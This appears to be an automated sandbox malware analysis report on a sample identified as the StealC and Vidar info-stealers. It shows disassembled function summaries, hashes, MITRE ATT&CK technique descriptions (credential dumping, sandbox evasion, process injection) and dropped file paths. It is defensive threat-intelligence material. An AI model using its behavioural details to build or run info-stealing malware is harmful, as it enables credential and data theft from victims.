Function 6CA685B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CA685D3

Part of subcall function 6CA2CA10: malloc.MOZGLUE(?), ref: 6CA2CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CA68725

Strings

map/set<T> too long, xrefs: 6CA68720

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 3d2d0208d97fea56c5ce28e0513fa5ea2b8f23a9a4e92c110f70a48866502bb8
Instruction ID: d060b6cb05342e8bbd1b211414e70ccebd63dbffcc266d5e6c4a9746d6805130
Opcode Fuzzy Hash: 3d2d0208d97fea56c5ce28e0513fa5ea2b8f23a9a4e92c110f70a48866502bb8
Instruction Fuzzy Hash: 2A5166B8600641CFD701CF1AC184A96FBF5BF4A318F18C28AD8595BB52C375E885CF92

Function 6CA1BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CA1BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CA1BE8F

Strings

0, xrefs: 6CA1BE5B

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: ab8222f07dc6c65d5d066fec375d73ca9ed798e4b323a7c8095e5eff7d0f1cde
Instruction ID: 6ba51fbfa4749b84c5eceea494958b5d7bf545bacbf7b6cfc940731032d9400a
Opcode Fuzzy Hash: ab8222f07dc6c65d5d066fec375d73ca9ed798e4b323a7c8095e5eff7d0f1cde
Instruction Fuzzy Hash: 0B418DB1909745CFC701CF39D581A9BB7F4AF8A348F008B1DF985A7B51E73099998B82

Function 6CA53CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA53D19
mozalloc_abort.MOZGLUE(?), ref: 6CA53D6C

Strings

d, xrefs: 6CA53D58

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 12ccae996baa457beffea9e1abb09318dd57e4642101c248cebde835c9e2b75f
Instruction ID: 498f0f5f56922577286fd5119ad317e0d9c6e9c33aced28ec7c01d55ce7e18f7
Opcode Fuzzy Hash: 12ccae996baa457beffea9e1abb09318dd57e4642101c248cebde835c9e2b75f
Instruction Fuzzy Hash: 5D113432E0478ADBDB048F69C8054EDB375EFC6218B88C719EC859B602FB30A5D9C350

Function 6CA76DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CA76E22
__Init_thread_footer.LIBCMT ref: 6CA76E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CA76E1D

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 05bc1d6d18bfad08a13698426bdc569f67c13b943bb7d064a0a00ef2684a8f65
Instruction ID: 1ce699140c213b170f1f1c4c07de96a88d30d7ef40af1ebd654b5a57049b9bce
Opcode Fuzzy Hash: 05bc1d6d18bfad08a13698426bdc569f67c13b943bb7d064a0a00ef2684a8f65
Instruction Fuzzy Hash: 99F0243A6143C28FDE148F68CD52BD137B2B303218F284169EE0046B91DF60A987CAB3

Function 004136EB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16filestringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,?), ref: 00413445
StrCmpCA.SHLWAPI(?,00420F40), ref: 00413457
StrCmpCA.SHLWAPI(?,00420F44), ref: 0041346D
FindNextFileA.KERNEL32(000000FF,?), ref: 00413777
FindClose.KERNEL32(000000FF), ref: 0041378C

Strings

18A, xrefs: 00413792

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: Find$CloseFileNextlstrcat
String ID: 18A
API String ID: 3840410801-3433864008
Opcode ID: 668e528d8eb8b4c8ce472f500e88cfe109d3146a7f0607bb4eb9076a2caf7a1f
Instruction ID: 37f096532bd63c7a6543046c1d18d9a97d222ba567e71f558b3b71d2575676c5
Opcode Fuzzy Hash: 668e528d8eb8b4c8ce472f500e88cfe109d3146a7f0607bb4eb9076a2caf7a1f
Instruction Fuzzy Hash: 26D05BB150410D5BCB20EF54EE589EE7339AF54355F0041C9F40E97150EB349B85CF95

Function 6CA6B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CA6B2C9,?,?,?,6CA6B127,?,?,?,?,?,?,?,?,?,6CA6AE52), ref: 6CA6B628

Part of subcall function 6CA690E0: free.MOZGLUE(?,00000000,?,?,6CA6DEDB), ref: 6CA690FF
Part of subcall function 6CA690E0: free.MOZGLUE(?,00000000,?,?,6CA6DEDB), ref: 6CA69108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CA6B2C9,?,?,?,6CA6B127,?,?,?,?,?,?,?,?,?,6CA6AE52), ref: 6CA6B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CA6B2C9,?,?,?,6CA6B127,?,?,?,?,?,?,?,?,?,6CA6AE52), ref: 6CA6B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CA6B127,?,?,?,?,?,?,?,?), ref: 6CA6B74D

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: faceec45f670552b882e48cb05db145626688294b57c293e509b8983c82e0a93
Instruction ID: c67ca9c08ceb2411b912db7f1e5279fd1151161704711542ab063124614981f6
Opcode Fuzzy Hash: faceec45f670552b882e48cb05db145626688294b57c293e509b8983c82e0a93
Instruction Fuzzy Hash: 63511475A063168FDB14CF1AE98079EF7B5FF45304F05862DE856A7B50DB30A884CB91

Function 6CA7B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CA20A4D), ref: 6CA7B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CA20A4D), ref: 6CA7B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CA20A4D), ref: 6CA7B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CA20A4D), ref: 6CA7B67F

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: d6cf1bd73635e30c3f5f4886168433cc6a435c2ce48cf49c9c2f3706d669715e
Instruction ID: 09061fa3a335145d14dc29d68f351d1baca3fd7350a985241c239bfe7e7046e5
Opcode Fuzzy Hash: d6cf1bd73635e30c3f5f4886168433cc6a435c2ce48cf49c9c2f3706d669715e
Instruction Fuzzy Hash: 103106B5A002168FDB20CF59D84469ABBF6FF80305F1A8629C9069B301EB31E955CBF0

Function 6CA4F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CA4F611
memcpy.VCRUNTIME140(?,?,?), ref: 6CA4F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CA4F652
memcpy.VCRUNTIME140(?,?,?), ref: 6CA4F668

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 2f9a7367420998a87ff4c3e81c23cc9b2421d47f01d597630581b52012480e1a
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: DA314F71A00214AFC714DF5DCDC0A9BB7B5FB84358B18C53DFA498BB04D631E9858B91

Function 00414A20 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00414A5A
lstrcat.KERNEL32(?,00421040), ref: 00414A77
lstrcat.KERNEL32(?,014FABA8), ref: 00414A8B
lstrcat.KERNEL32(?,00421044), ref: 00414A9D

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: ce47f33bf402caccc6be46475f4cc83737c81dc5a568e004177fa1e081ddb6a0
Instruction ID: 8dbf70b05384144c92fb0b395b2fe843caac1dc39a8cdd365ca80c12b48963c0
Opcode Fuzzy Hash: ce47f33bf402caccc6be46475f4cc83737c81dc5a568e004177fa1e081ddb6a0
Instruction Fuzzy Hash: B6214F76A002086BC724FBA0EC42EDD373DAF94304F40845EB94A571D1EE7856C98BA5

Function 6CA626B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA626C1
free.MOZGLUE(?), ref: 6CA626E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA626FF
free.MOZGLUE ref: 6CA6270D

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 2c9abddda0b18c38b1b37f31768eb18c0734afb125db347afaea7173b2434b5e
Instruction ID: 93c6d587dc53e26f2324de8e04c73c222d10b38f23525400caa83dc428b6e081
Opcode Fuzzy Hash: 2c9abddda0b18c38b1b37f31768eb18c0734afb125db347afaea7173b2434b5e
Instruction Fuzzy Hash: ABF0F9B67012015BE7009E19D888D87B3A9EF4125CB680135EA1AC3F01E731F999C792

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAEBAKKJKKEBKFIDBFBAKJJDHJ

C:\ProgramData\CAAAFCAKKKFBFIDGDBFH

C:\ProgramData\CAKKJKKECF.exe

C:\ProgramData\DAKFCGIJKJKFHIDHIIIE

C:\ProgramData\EBAAFCAFCBKFHJJJKKFH

C:\ProgramData\ECGDHIDAAFHIIDGDBFIECFCFHI

C:\ProgramData\FCFHJKJJJECGDHJJDHDAAAFBKF

C:\ProgramData\HJDBAFIE

C:\ProgramData\KFIJEGCBGIDGHIDHDGCBFCGDGC

Windows Analysis Report
file.exe

